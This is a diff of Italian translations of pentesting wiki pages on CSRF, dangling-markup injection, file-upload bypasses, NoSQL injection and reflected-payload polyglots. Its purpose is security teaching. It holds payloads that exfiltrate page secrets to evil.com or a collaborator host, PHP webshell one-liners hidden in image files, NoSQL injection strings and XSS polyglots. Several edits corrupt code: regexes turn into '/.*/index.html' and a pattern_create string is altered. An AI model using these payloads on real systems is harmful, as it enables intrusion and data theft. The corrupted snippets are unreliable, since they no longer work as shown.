 Possono essere implementate diverse contromisure per proteggere contro gli attacchi CSRF:
 
 - [**Cookie SameSite**](hacking-with-cookies/index.html#samesite): Questo attributo impedisce al browser di inviare cookie insieme a richieste cross-site. [Ulteriori informazioni sui cookie SameSite](hacking-with-cookies/index.html#samesite).
-- [**Cross-origin resource sharing**](cors-bypass.md): La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
+- [**Cross-origin resource sharing**](cors-bypass.md): La politica CORS del sito della vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito della vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
 - **Verifica dell'Utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
-- **Controllo delle Intestazioni Referrer o Origin**: Validare queste intestazioni può aiutare a garantire che le richieste provengano da fonti fidate. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
+- **Controllo delle Intestazioni Referrer o Origin**: Validare queste intestazioni può aiutare a garantire che le richieste provengano da fonti affidabili. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
 - Utilizzare `http://mal.net?orig=http://example.com` (l'URL termina con l'URL fidato)
 - Utilizzare `http://example.com.mal.net` (l'URL inizia con l'URL fidato)
 - **Modifica dei Nomi dei Parametri**: Alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
@@ -43,7 +43,7 @@ Forse il modulo che vuoi abusare è preparato per inviare una **richiesta POST c
 
 ### Mancanza di Token
 
-Le applicazioni potrebbero implementare un meccanismo per **convalidare i token** quando sono presenti. Tuttavia, si verifica una vulnerabilità se la convalida viene completamente saltata quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il **parametro** che trasporta il token, non solo il suo valore. Questo consente loro di eludere il processo di convalida e condurre efficacemente un attacco Cross-Site Request Forgery (CSRF).
+Le applicazioni potrebbero implementare un meccanismo per **convalidare i token** quando sono presenti. Tuttavia, si verifica una vulnerabilità se la convalida viene completamente saltata quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il parametro che trasporta il token, non solo il suo valore. Questo consente loro di eludere il processo di convalida e condurre efficacemente un attacco Cross-Site Request Forgery (CSRF).
 
 ### Il Token CSRF non è Legato alla Sessione Utente
 
@@ -69,7 +69,7 @@ Questo potrebbe funzionare anche inviando il **parametro \_method all'interno di
 
 ### Bypass del Token dell'Intestazione Personalizzata
 
-Se la richiesta sta aggiungendo un **intestazione personalizzata** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
+Se la richiesta sta aggiungendo un **'intestazione personalizzata** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
 
 - Testa la richiesta senza il **Token Personalizzato e anche l'intestazione.**
 - Testa la richiesta con esattamente **la stessa lunghezza ma un token diverso**.
@@ -146,11 +146,11 @@ Quando si tenta di inviare dati JSON tramite una richiesta POST, utilizzare `Con
 
 **Evitare l'intestazione Referrer**
 
-Le applicazioni possono convalidare l'intestazione 'Referer' solo quando è presente. Per impedire a un browser di inviare questa intestazione, è possibile utilizzare il seguente tag meta HTML:
+Le applicazioni possono convalidare l'intestazione 'Referer' solo quando è presente. Per impedire a un browser di inviare questa intestazione, può essere utilizzato il seguente tag meta HTML:
 ```xml
 <meta name="referrer" content="never">
 ```
-Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo i controlli di convalida in alcune applicazioni.
+Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo i controlli di validazione in alcune applicazioni.
 
 **Regexp bypasses**
 
@@ -191,13 +191,13 @@ document.forms[0].submit()
 
 La prima parte di [**questo CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [il codice sorgente di Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è impostato per **gestire le richieste HEAD come richieste GET** senza corpo di risposta - una soluzione comune che non è unica per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, esse vengono semplicemente **date al gestore GET ma l'app rimuove solo il corpo della risposta**.
 
-Pertanto, se una richiesta GET è limitata, puoi semplicemente **inviare una richiesta HEAD che sarà elaborata come una richiesta GET**.
+Pertanto, se una richiesta GET è limitata, puoi semplicemente **inviare una richiesta HEAD che verrà elaborata come una richiesta GET**.
 
 ## **Esempi di Exploit**
 
 ### **Esfiltrazione del Token CSRF**
 
-Se un **token CSRF** viene utilizzato come **difesa**, puoi provare a **esfiltrarlo** abusando di una vulnerabilità [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o di una vulnerabilità [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
+Se un **token CSRF** viene utilizzato come **difesa**, puoi provare a **esfiltrarlo** abusando di una vulnerabilità [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o di una vulnerabilità [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
 
 ### **GET utilizzando tag HTML**
 ```xml

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -4,10 +4,10 @@
 
 ## Resume
 
-Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'**HTML injection**. Questo è molto utile se **non trovi alcun modo per sfruttare un** [**XSS** ](../xss-cross-site-scripting/)ma puoi **iniettare alcuni tag HTML**.\
+Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'**HTML injection**. Questo è molto utile se **non trovi alcun modo per sfruttare un** [**XSS** ](../xss-cross-site-scripting/index.html)ma puoi **iniettare alcuni tag HTML**.\
 È anche utile se qualche **segreto è salvato in chiaro** nell'HTML e vuoi **esfiltrarlo** dal client, o se vuoi fuorviare l'esecuzione di qualche script.
 
-Diverse tecniche commentate qui possono essere utilizzate per bypassare alcune [**Content Security Policy**](../content-security-policy-csp-bypass/) esfiltrando informazioni in modi inaspettati (tag html, CSS, http-meta tag, moduli, base...).
+Diverse tecniche commentate qui possono essere utilizzate per bypassare alcune [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) esfiltrando informazioni in modi inaspettati (tag html, CSS, tag meta http, moduli, base...).
 
 ## Main Applications
 
@@ -21,7 +21,7 @@ Se il tag `img` è vietato (a causa di CSP per esempio) puoi anche usare `<meta
 <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
 <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
 ```
-Nota che **Chrome blocca gli URL HTTP** con "<" o "\n" in essi, quindi puoi provare altri schemi di protocollo come "ftp".
+Nota che **Chrome blocca gli URL HTTP** con "<" o "\n" al loro interno, quindi puoi provare altri schemi di protocollo come "ftp".
 
 Puoi anche abusare di CSS `@import` (invierà tutto il codice fino a trovare un ";")
 ```html
@@ -32,7 +32,7 @@ Potresti anche usare **`<table`**:
 ```html
 <table background='//your-collaborator-id.burpcollaborator.net?'
 ```
-Potresti anche inserire un `<base` tag. Tutte le informazioni verranno inviate fino a quando la citazione non sarà chiusa, ma richiede un'interazione da parte dell'utente (l'utente deve cliccare su un link, perché il tag base avrà cambiato il dominio puntato dal link):
+Puoi anche inserire un `<base` tag. Tutte le informazioni verranno inviate fino a quando la citazione non sarà chiusa, ma richiede un'interazione da parte dell'utente (l'utente deve cliccare su un link, perché il tag base avrà cambiato il dominio indicato dal link):
 ```html
 <base target='        <--- Injected
 steal me'<b>test</b>
@@ -65,7 +65,7 @@ Utilizzando la tecnica menzionata più recentemente per rubare i moduli (inietta
 ```html
 <input type='hidden' name='review_body' value="
 ```
-e questo campo di input conterrà tutto il contenuto tra le sue virgolette e la successiva virgoletta nel HTML. Questo attacco mescola "_**Stealing clear text secrets**_" con "_**Stealing forms2**_".
+e questo campo di input conterrà tutto il contenuto tra le sue virgolette e la successiva virgoletta doppia nell'HTML. Questo attacco mescola "_**Stealing clear text secrets**_" con "_**Stealing forms2**_".
 
 Puoi fare la stessa cosa iniettando un modulo e un `<option>` tag. Tutti i dati fino a quando non viene trovato un `</option>` chiuso verranno inviati:
 ```html
@@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
 ```
 ### Flusso di script fuorviante 1 - Attacco allo spazio dei nomi HTML
 
-Inserisci un nuovo tag con un id all'interno dell'HTML che sovrascriverà il successivo e con un valore che influenzerà il flusso di uno script. In questo esempio stai selezionando con chi verranno condivise le informazioni:
+Inserisci un nuovo tag con un id all'interno dell'HTML che sovrascriverà il successivo e con un valore che influenzerà il flusso di uno script. In questo esempio stai selezionando con chi verrà condivisa un'informazione:
 ```html
 <input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
 Share this status update with: ← Legitimate optional element of a dialog
@@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
 ```
 Questo può essere mitigato con qualcosa come: `sandbox=' allow-scripts allow-top-navigation'`
 
-Un iframe può anche essere abusato per leakare informazioni sensibili da una pagina diversa **utilizzando l'attributo name dell'iframe**. Questo perché puoi creare un iframe che si iframma da solo abusando dell'iniezione HTML che fa apparire le **informazioni sensibili all'interno dell'attributo name dell'iframe** e poi accedere a quel nome dall'iframe iniziale e leakarlo.
+Un iframe può anche essere abusato per rivelare informazioni sensibili da una pagina diversa **utilizzando l'attributo name dell'iframe**. Questo perché puoi creare un iframe che si iframe se stesso abusando dell'iniezione HTML che fa apparire le **informazioni sensibili all'interno dell'attributo name dell'iframe** e poi accedere a quel nome dall'iframe iniziale e rivelarlo.
 ```html
 <script>
 function cspBypass(win) {
@@ -178,13 +178,13 @@ onload="cspBypass(this.contentWindow)"></iframe>
 ```
 Per ulteriori informazioni controlla [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
 
-### \<meta abuse
+### \<meta abuso
 
 Puoi utilizzare **`meta http-equiv`** per eseguire **diverse azioni** come impostare un Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` o eseguire un reindirizzamento (in 5s in questo caso): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
 
 Questo può essere **evitato** con un **CSP** riguardante **http-equiv** ( `Content-Security-Policy: default-src 'self';`, o `Content-Security-Policy: http-equiv 'self';`)
 
-### Nuovo \<portal HTML tag
+### Nuovo \<portal tag HTML
 
 Puoi trovare una **ricerca molto interessante** sulle vulnerabilità sfruttabili del tag \<portal [qui](https://research.securitum.com/security-analysis-of-portal-element/).\
 Al momento della scrittura, è necessario abilitare il tag portal su Chrome in `chrome://flags/#enable-portals` o non funzionerà.

src/pentesting-web/file-upload/README.md

@@ -17,7 +17,7 @@ Altre estensioni utili:
 
 ### Bypass file extensions checks
 
-1. Se applicabili, **controlla** le **estensioni precedenti.** Provale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
+1. Se applicabile, **controlla** le **estensioni precedenti.** Provale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
 2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_
 - _file.png.php_
 - _file.png.Php5_
@@ -51,7 +51,7 @@ Altre estensioni utili:
 ```
 # Linux massimo 255 byte
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
 # Carica il file e controlla la risposta su quanti caratteri consente. Diciamo 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@@ -65,13 +65,13 @@ AAA<--SNIP 232 A-->AAA.php.png
 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 - Bypass **magic number** controllando aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
+`\` oppure puoi anche **introdurre direttamente il payload** in un'immagine:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi utilizzare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi utilizzare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi utilizzare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Other Tricks to check
@@ -81,10 +81,10 @@ AAA<--SNIP 232 A-->AAA.php.png
 - **Possibile divulgazione di informazioni**:
 1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
 2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
-3. Caricando un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
+3. Caricando un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”.
 4. Carica un file che potrebbe non essere facilmente eliminato come **“…:.jpg”** in **NTFS**. (Windows)
 5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows)
-6. Carica un file in **Windows** utilizzando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
+6. Carica un file in **Windows** usando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
 - Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima.
 
 ### Special extension tricks
@@ -106,7 +106,7 @@ Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuo
 
 Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
+Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
 
 Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
 ```ini
@@ -174,9 +174,9 @@ Nota che **un'altra opzione** che potresti considerare per bypassare questo cont
 - [**Open Redirect** tramite upload di file svg](../open-redirect.md#open-redirect-uploading-svg-files)
 - Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 - [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- Se puoi **indicare al server web di catturare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/). Se questa **immagine** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
+- Se puoi **indicare al server web di catturare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **immagine** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
 - [**XXE e CORS** bypass con upload PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-- PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni fornite.
+- PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni date.
 - Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per controllare se il server ha qualche **antivirus**
 - Controlla se c'è qualche **limite di dimensione** nel caricamento di file
 
@@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
 ```
 ### Decompress in different folders
 
-La creazione inaspettata di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
+La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
 
 Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato:
 ```python
@@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 
 ## ImageTragic
 
-Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma l'[exploit](https://www.exploit-db.com/exploits/39767))
+Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma dell' [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
@@ -297,7 +297,7 @@ Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-s
 
 ## Polyglot Files
 
-I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa combinazione; sono possibili anche combinazioni come GIF e JS o PPT e JS.
+I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa combinazione; sono anche fattibili combinazioni come GIF e JS o PPT e JS.
 
 L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
 

src/pentesting-web/nosql-injection.md

@@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
 ```javascript
 query = { $where: `this.username == '${username}'` }
 ```
-Un attaccante può sfruttare questo inserendo stringhe come `admin' || 'a'=='a`, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia (`'a'=='a'`). Questo è analogo agli attacchi di SQL injection dove input come `' or 1=1-- -` vengono utilizzati per manipolare le query SQL. In MongoDB, iniezioni simili possono essere effettuate utilizzando input come `' || 1==1//`, `' || 1==1%00`, o `admin' || 'a'=='a`.
+Un attaccante può sfruttare questo inserendo stringhe come `admin' || 'a'=='a`, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia (`'a'=='a'`). Questo è analogo agli attacchi di SQL injection dove vengono utilizzati input come `' or 1=1-- -` per manipolare le query SQL. In MongoDB, iniezioni simili possono essere effettuate utilizzando input come `' || 1==1//`, `' || 1==1%00`, o `admin' || 'a'=='a`.
 ```
 Normal sql: ' or 1=1-- -
 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
@@ -67,7 +67,7 @@ in JSON
 ### **SQL - Mongo**
 ```
 /?search=admin' && this.password%00 --> Check if the field password exists
-/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
+/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
 /?search=admin' && this.password && this.password.match(/^a.*$/)%00
 /?search=admin' && this.password && this.password.match(/^b.*$/)%00
 /?search=admin' && this.password && this.password.match(/^c.*$/)%00
@@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 || 1==1//
 || 1==1%00
 }, { password : /.*/ }
-' && this.password.match(/.*/)//+%00
-' && this.passwordzz.match(/.*/)//+%00
-'%20%26%26%20this.password.match(/.*/)//+%00
-'%20%26%26%20this.passwordzz.match(/.*/)//+%00
+' && this.password.match(/.*/index.html)//+%00
+' && this.passwordzz.match(/.*/index.html)//+%00
+'%20%26%26%20this.password.match(/.*/index.html)//+%00
+'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
 {$gt: ''}
 [$ne]=1
 ';sleep(5000);

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -1,16 +1,16 @@
-# Tecniche di Riflesso - PoCs e CheatSheet dei Polygloths
+# Reflecting Techniques - PoCs and Polygloths CheatSheet
 
 {{#include ../../banners/hacktricks-training.md}}
 
-L'obiettivo di queste PoCs e Polygloths è fornire al tester un **riassunto** veloce delle vulnerabilità che può sfruttare se il suo **input viene in qualche modo riflesso nella risposta**.
+L'obiettivo di questi PoCs e Polygloths è fornire al tester un **riassunto** veloce delle vulnerabilità che può sfruttare se il suo **input viene in qualche modo riflesso nella risposta**.
 
 > [!WARNING]
-> Questa **cheat sheet non propone un elenco completo di test per ogni vulnerabilità**, solo alcuni di base. Se stai cercando test più completi, accedi a ciascuna vulnerabilità proposta.
+> Questa **cheatsheet non propone un elenco completo di test per ogni vulnerabilità**, solo alcuni test di base. Se stai cercando test più completi, accedi a ciascuna vulnerabilità proposta.
 
 > [!CAUTION]
 > Non **troverai iniezioni dipendenti dal Content-Type come XXE**, poiché di solito proverai quelle tu stesso se trovi una richiesta che invia dati xml. Non **troverai nemmeno iniezioni di database** qui, poiché anche se alcuni contenuti potrebbero essere riflessi, dipende fortemente dalla tecnologia e dalla struttura del DB backend.
 
-## Elenco dei Polygloths
+## Polygloths list
 ```python
 {{7*7}}[7*7]
 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@@ -46,7 +46,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```
@@ -88,13 +88,13 @@ $(ls)
 %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
